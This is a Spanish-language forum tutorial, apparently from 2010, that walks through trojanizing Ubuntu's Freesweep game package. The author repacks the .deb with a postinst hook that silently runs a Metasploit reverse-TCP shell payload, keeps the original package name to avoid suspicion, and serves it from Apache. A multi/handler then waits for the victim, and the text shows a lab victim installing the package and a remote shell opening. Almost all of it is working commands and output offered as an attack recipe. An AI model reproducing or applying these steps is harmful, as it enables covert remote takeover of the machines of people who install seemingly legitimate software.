Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.
Para no levantar sospechas descargaremos un juego, en esté caso «Freesweep«, para despues infectarlo con el PAYLOAD.
Código:
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$
Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/
Código:
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$
Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).
Código:
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$
Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.
Código:
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$
Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.
Código:
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$
Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.
Código:
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
Dentro del archivo control, pondremos la siguiente informacion:
Código:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.
Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.
Código
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Ahora crearemos el troyano con el PAYLOAD linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.
Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el «Juego».
Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.
Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$
Iniciamos el Servidor del Apache
Código:
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
* Starting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
[ OK ]
shellroot@shellroot-desktop:~/Troyano$
Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.
Código:
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234
Ahora supongamos que somos la victima y descargamos el archivo.
Código:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27-- http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»
100%[=======================================================>] 39.214 --.-K/s en 0s
2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]
hacklab@hacklab-desktop:~$
Despues de descargado el archivo, lo instalamos.
Código:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb
Ahora miramos el multi/handler y voala, una session del Meterpreter
Código:
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)